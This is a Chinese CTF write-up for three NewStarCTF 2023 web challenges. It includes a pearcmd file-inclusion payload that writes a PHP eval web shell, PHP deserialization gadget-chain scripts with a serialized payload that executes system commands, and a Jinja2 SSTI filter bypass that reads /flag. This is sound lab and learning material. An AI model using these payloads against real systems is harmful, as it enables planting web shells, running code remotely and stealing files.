NewStar2023 Week3 web writeup by ripple

  1. 1. NewStar2023 Week3 web writeup by ripple
    1. 1.1. Web
      1. 1.1.1. Include 🍐
      2. 1.1.2. POP Gadget
      3. 1.1.3. GenShin

NewStar2023 Week3 web writeup by ripple

平台:https://buuoj.cn/match/matches/190/challenges

官方WP:NewStarCTF 2023 Week3 官方WriteUp (shimo.im)

听同学推荐这个比赛,说题目不错,试做了一下Week3的Web,确实很有意思,也有收获,写一下WP记录:

Web

Include 🍐

LFI to RCE,文件包含漏洞

但是常用的PHP伪协议等均被过滤,怎么办呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

这里我们注意到题目名称是:Include 🍐

🍐的英文是Pear,这下就了解到全新思路了。

在网上查到了P牛等大佬的文章:

Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)

关于利用pearcmd进行文件包含的一些总结 | W4rsp1t3’s blog

在这些文章中利用IFI写入木马或者phpinfo到/tmp目录下做演示,而本题/tmp目录似乎是无法访问的,后来换到/var/www/html就通了

而且本题是默认加了.php后缀,所以pearcmd就行,不应该pearcmd.php。

构造payload:

1
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/var/www/html/shell.php

连接shell:

1
http://30788414-688a-42a6-9777-235624db72c5.node4.buuoj.cn:81/shell.php

拿下flag:

POP Gadget

PHP反序列化的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

开始比较混乱后来理了一下各种魔术方法逻辑就清晰了:

1
2
3
4
5
__destruct:析构方法,允许在销毁一个类之前执行的一些操作或完成一些功能
__toString:类被当成字符串时的回应方法
__call:在对象中调用一个不可访问方法时调用
__invoke:当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
__unset:在对象里面加上了__unset()这个方法之后,在对象外部使用“unset()”函数删除对象内部的私有成员属性或无这个属性时调用。

直接能出发的只有__destruct,然后传入的被当成字符串____toString,接着__invoke,PHP没有getStr方法所以是__call,最后通过__unset中的内容和PHP可变函数实现RCE

这里在本地写了一个脚本:为了写入变量的值,把Then类中func变量Handle、Super里面的obj变量改为public,但是生成的payload依旧能够直接打通,神奇。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
public $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
public $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
public $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

$Begin = new Begin;
$Super = new Super;
$Then = new Then;
$Super = new Super;
$Handle = new Handle;
$CTF = new CTF;
$WhiteGod = new WhiteGod;

$WhiteGod -> func = 'System';
$WhiteGod -> var = 'cat /flag';
$CTF -> handle = $WhiteGod;
$Handle -> obj = $CTF;
$Super -> obj = $Handle;
$Then -> func = $Super;
$Begin -> name = $Then;

echo serialize($Begin);

我这样的写法是逆推回去的写法,后来室友阿菇写了一个和我本质一样的脚本,但他的方式是正向推的,比较好理解也值得学习,所以我也向他要了一份他写的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
<?php
class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
public $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
public $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
public $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

$myObj = new Begin;
$myObj->name = new Then;
$myObj->name->func = new Super;
$myObj->name->func->obj = new Handle;
$myObj->name->func->obj->obj = new CTF;
$myObj->name->func->obj->obj->handle = new WhiteGod;
$myObj->name->func->obj->obj->handle->func = "system";
$myObj->name->func->obj->obj->handle->var = "ls";

$poc = serialize($myObj);

echo $poc;

@unserialize($poc);

最终payload:

1
O:5:"Begin":1:{s:4:"name";O:4:"Then":1:{s:4:"func";O:5:"Super":1:{s:3:"obj";O:6:"Handle":1:{s:3:"obj";O:3:"CTF":1:{s:6:"handle";O:8:"WhiteGod":2:{s:4:"func";s:6:"System";s:3:"var";s:9:"cat /flag";}}}}}}

burpsuite里面POST一下就行了

GenShin

网页提示:Oh!try to find some information that is useful~

在响应头发现有用的信息:

访问 /secr3tofpop路由

提示:please give a name by get

get传参一个name,发现我们的name被显示在了页面:

有此可以猜测到是一个模板注入的漏洞,构造name=49,发现被过滤:

更坚定了SSTI的想法,以及可能是Jinja2的模板注入。

被过滤的:

1
2
3
4
5
6
7
8
9
{{
}}
'
\
=
request
init
popen
''

等等

使用{%7*7%}是发现回显报错:确认是Jinja2的模板

然后就是各种绕过了。使用{%print()%}来绕过{{}}

{%print(7*7)%}回显49

{%print([].__class__.__base__.__subclasses__())%}查看所有类

{%print([].__class__.__base__.__subclasses__()[1])%}查询类,方便爆破写脚本,然后就是找可用的类了

参考了这篇文章,写的真的很全面:奇安信攻防社区-flask SSTI学习与总结

最终payload:

1
{%print(().__class__.__bases__[0].__subclasses__()[99]["get_data"](0,"/flag"))%}

当时就做了这么多了,未来可能再去做一下写一些记录,具体其他题目可以去看看官方WP